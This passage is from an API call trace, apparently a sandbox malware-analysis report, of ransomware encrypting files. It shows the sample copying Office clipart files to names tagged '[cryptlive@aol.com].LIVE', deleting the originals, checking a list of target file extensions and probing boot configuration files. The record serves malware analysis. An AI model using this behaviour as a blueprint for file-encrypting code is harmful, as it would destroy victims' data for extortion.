Office\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0161.493] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0161.493] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0161.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0161.494] GetLastError () returned 0x0 [0161.494] ReadFile (in: hFile=0x3c4, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x54d4, lpOverlapped=0x0) returned 1 [0161.496] WriteFile (in: hFile=0x384, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x54e0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x54e0, lpOverlapped=0x0) returned 1 [0161.497] ReadFile (in: hFile=0x3c4, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0161.497] WriteFile (in: hFile=0x384, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0161.497] SetEndOfFile (hFile=0x384) returned 1 [0161.498] CloseHandle (hObject=0x384) returned 1 [0161.498] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0161.498] SetEndOfFile (hFile=0x3c4) returned 1 [0161.503] CloseHandle (hObject=0x3c4) returned 1 [0161.503] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0161.503] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf")) returned 1 [0161.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF") returned 63 [0161.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF") returned 63 [0161.504] lstrlenW (lpString=".doc") returned 4 [0161.504] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.504] lstrlenW (lpString=".docx") returned 5 [0161.504] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0161.504] lstrlenW (lpString=".pdf") returned 4 [0161.505] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.505] lstrlenW (lpString=".xls") returned 4 [0161.505] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.505] lstrlenW (lpString=".xlsx") returned 5 [0161.505] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0161.505] lstrlenW (lpString=".ppt") returned 4 [0161.505] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF") returned 63 [0161.505] lstrlenW (lpString=".zip") returned 4 [0161.505] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.505] lstrlenW (lpString=".rar") returned 4 [0161.505] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.505] lstrlenW (lpString=".bz2") returned 4 [0161.505] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.505] lstrlenW (lpString=".7z") returned 3 [0161.505] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF") returned 63 [0161.505] lstrlenW (lpString=".dbf") returned 4 [0161.505] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF") returned 63 [0161.505] lstrlenW (lpString=".1cd") returned 4 [0161.505] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF") returned 63 [0161.505] lstrlenW (lpString=".jpg") returned 4 [0161.505] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF") returned 63 [0161.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF") returned 63 [0161.505] lstrlenW (lpString=".doc") returned 4 [0161.505] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.505] lstrlenW (lpString=".docx") returned 5 [0161.505] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0161.505] lstrlenW (lpString=".pdf") returned 4 [0161.506] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.506] lstrlenW (lpString=".xls") returned 4 [0161.506] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.506] lstrlenW (lpString=".xlsx") returned 5 [0161.506] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0161.506] lstrlenW (lpString=".ppt") returned 4 [0161.506] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF") returned 63 [0161.506] lstrlenW (lpString=".zip") returned 4 [0161.506] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.506] lstrlenW (lpString=".rar") returned 4 [0161.506] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.506] lstrlenW (lpString=".bz2") returned 4 [0161.506] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.506] lstrlenW (lpString=".7z") returned 3 [0161.506] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF") returned 63 [0161.506] lstrlenW (lpString=".dbf") returned 4 [0161.506] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF") returned 63 [0161.506] lstrlenW (lpString=".1cd") returned 4 [0161.506] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF") returned 63 [0161.506] lstrlenW (lpString=".jpg") returned 4 [0161.506] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.506] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0161.506] lstrlenW (lpString="J0157191.WMF") returned 12 [0161.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0161.507] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=17912) returned 1 [0161.507] CloseHandle (hObject=0x3c4) returned 1 [0161.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf")) returned 0x20 [0161.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0161.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0161.508] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0161.508] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0161.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0161.509] GetLastError () returned 0x0 [0161.509] ReadFile (in: hFile=0x3c4, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x45f8, lpOverlapped=0x0) returned 1 [0161.846] WriteFile (in: hFile=0x384, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x4600, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x4600, lpOverlapped=0x0) returned 1 [0161.847] ReadFile (in: hFile=0x3c4, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0161.847] WriteFile (in: hFile=0x384, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0161.847] SetEndOfFile (hFile=0x384) returned 1 [0161.847] CloseHandle (hObject=0x384) returned 1 [0161.847] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0161.847] SetEndOfFile (hFile=0x3c4) returned 1 [0161.849] CloseHandle (hObject=0x3c4) returned 1 [0161.850] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0161.850] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf")) returned 1 [0161.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF") returned 63 [0161.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF") returned 63 [0161.852] lstrlenW (lpString=".doc") returned 4 [0161.852] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.852] lstrlenW (lpString=".docx") returned 5 [0161.852] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0161.852] lstrlenW (lpString=".pdf") returned 4 [0161.852] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.852] lstrlenW (lpString=".xls") returned 4 [0161.852] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.852] lstrlenW (lpString=".xlsx") returned 5 [0161.852] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0161.852] lstrlenW (lpString=".ppt") returned 4 [0161.852] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF") returned 63 [0161.852] lstrlenW (lpString=".zip") returned 4 [0161.852] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.852] lstrlenW (lpString=".rar") returned 4 [0161.852] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.852] lstrlenW (lpString=".bz2") returned 4 [0161.852] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.852] lstrlenW (lpString=".7z") returned 3 [0161.852] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF") returned 63 [0161.852] lstrlenW (lpString=".dbf") returned 4 [0161.852] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF") returned 63 [0161.852] lstrlenW (lpString=".1cd") returned 4 [0161.852] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF") returned 63 [0161.853] lstrlenW (lpString=".jpg") returned 4 [0161.853] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF") returned 63 [0161.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF") returned 63 [0161.853] lstrlenW (lpString=".doc") returned 4 [0161.853] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.853] lstrlenW (lpString=".docx") returned 5 [0161.853] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0161.853] lstrlenW (lpString=".pdf") returned 4 [0161.853] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.853] lstrlenW (lpString=".xls") returned 4 [0161.853] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.853] lstrlenW (lpString=".xlsx") returned 5 [0161.853] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0161.853] lstrlenW (lpString=".ppt") returned 4 [0161.853] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF") returned 63 [0161.853] lstrlenW (lpString=".zip") returned 4 [0161.853] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.853] lstrlenW (lpString=".rar") returned 4 [0161.853] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.853] lstrlenW (lpString=".bz2") returned 4 [0161.853] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.853] lstrlenW (lpString=".7z") returned 3 [0161.853] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF") returned 63 [0161.853] lstrlenW (lpString=".dbf") returned 4 [0161.853] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF") returned 63 [0161.853] lstrlenW (lpString=".1cd") returned 4 [0161.853] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF") returned 63 [0161.854] lstrlenW (lpString=".jpg") returned 4 [0161.854] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.854] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0161.854] lstrlenW (lpString="J0172193.WMF") returned 12 [0161.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0162.094] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=12696) returned 1 [0162.094] CloseHandle (hObject=0x38c) returned 1 [0162.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf")) returned 0x20 [0162.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0162.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0162.095] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0162.095] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0162.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 56 os_tid = 0x668 [0126.696] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10000) returned 0x39c1a98 [0126.697] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10000) returned 0x39d1aa0 [0126.697] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d02c0 [0126.697] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x6) returned 0x93ed68 [0126.697] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d02d8 [0126.697] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x100000) returned 0x3bc0020 [0126.697] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d02f0 [0126.697] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d02f0, Size=0x20) returned 0x39c0b50 [0126.698] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d02f0 [0126.698] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d02f0, Size=0x20) returned 0x39c0b78 [0126.698] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75080000 [0126.698] GetProcAddress (hModule=0x75080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x750ad650 [0126.698] Wow64DisableWow64FsRedirection (in: OldValue=0x300ff58 | out: OldValue=0x300ff58*=0x0) returned 1 [0126.698] lstrlenW (lpString="kernel32.dll") returned 12 [0126.698] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39c0b50 | out: hHeap=0x880000) returned 1 [0126.698] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0126.698] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39c0b78 | out: hHeap=0x880000) returned 1 [0126.698] Sleep (dwMilliseconds=0x64) [0127.202] lstrlenW (lpString="BCD") returned 3 [0127.202] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0127.202] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0127.202] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0127.202] lstrlenW (lpString=".doc") returned 4 [0127.202] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0127.202] lstrlenW (lpString=".docx") returned 5 [0127.202] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0127.202] lstrlenW (lpString=".pdf") returned 4 [0127.202] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0127.202] lstrlenW (lpString=".xls") returned 4 [0127.202] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0127.202] lstrlenW (lpString=".xlsx") returned 5 [0127.202] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0127.202] lstrlenW (lpString=".ppt") returned 4 [0127.202] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0127.202] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0127.202] lstrlenW (lpString=".zip") returned 4 [0127.202] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0127.202] lstrlenW (lpString=".rar") returned 4 [0127.202] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0127.202] lstrlenW (lpString=".bz2") returned 4 [0127.202] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0127.203] lstrlenW (lpString=".7z") returned 3 [0127.203] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0127.203] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0127.203] lstrlenW (lpString=".dbf") returned 4 [0127.203] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0127.203] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0127.203] lstrlenW (lpString=".1cd") returned 4 [0127.203] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0127.203] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0127.203] lstrlenW (lpString=".jpg") returned 4 [0127.203] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0127.203] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0127.203] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0127.203] lstrlenW (lpString=".doc") returned 4 [0127.203] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0127.203] lstrlenW (lpString=".docx") returned 5 [0127.203] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0127.203] lstrlenW (lpString=".pdf") returned 4 [0127.203] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0127.203] lstrlenW (lpString=".xls") returned 4 [0127.203] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0127.203] lstrlenW (lpString=".xlsx") returned 5 [0127.203] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0127.203] lstrlenW (lpString=".ppt") returned 4 [0127.203] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0127.203] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0127.203] lstrlenW (lpString=".zip") returned 4 [0127.203] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0127.203] lstrlenW (lpString=".rar") returned 4 [0127.203] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0127.203] lstrlenW (lpString=".bz2") returned 4 [0127.203] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0127.203] lstrlenW (lpString=".7z") returned 3 [0127.203] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0127.204] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0127.204] lstrlenW (lpString=".dbf") returned 4 [0127.204] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0127.204] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0127.204] lstrlenW (lpString=".1cd") returned 4 [0127.204] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0127.204] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0127.204] lstrlenW (lpString=".jpg") returned 4 [0127.204] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0127.204] lstrcmpiW (lpString1=".LOG1", lpString2=".LIVE") returned 1 [0127.204] lstrlenW (lpString="BCD.LOG1") returned 8 [0127.204] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0127.204] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=0) returned 1 [0127.204] CloseHandle (hObject=0x200) returned 1 [0127.204] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0127.204] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0127.204] lstrlenW (lpString=".doc") returned 4 [0127.204] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0127.204] lstrlenW (lpString=".docx") returned 5 [0127.205] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0127.205] lstrlenW (lpString=".pdf") returned 4 [0127.205] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0127.205] lstrlenW (lpString=".xls") returned 4 [0127.205] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0127.205] lstrlenW (lpString=".xlsx") returned 5 [0127.205] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0127.205] lstrlenW (lpString=".ppt") returned 4 [0127.205] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0127.205] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0127.205] lstrlenW (lpString=".zip") returned 4 [0127.205] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0127.205] lstrlenW (lpString=".rar") returned 4 [0127.205] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0127.205] lstrlenW (lpString=".bz2") returned 4 [0127.205] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0127.205] lstrlenW (lpString=".7z") returned 3 [0127.205] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0127.205] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0127.205] lstrlenW (lpString=".dbf") returned 4 [0127.205] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0127.205] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0127.205] lstrlenW (lpString=".1cd") returned 4 [0127.205] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0127.205] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0127.205] lstrlenW (lpString=".jpg") returned 4 [0127.205] lstrcmpiW (lpString1=".jpg", 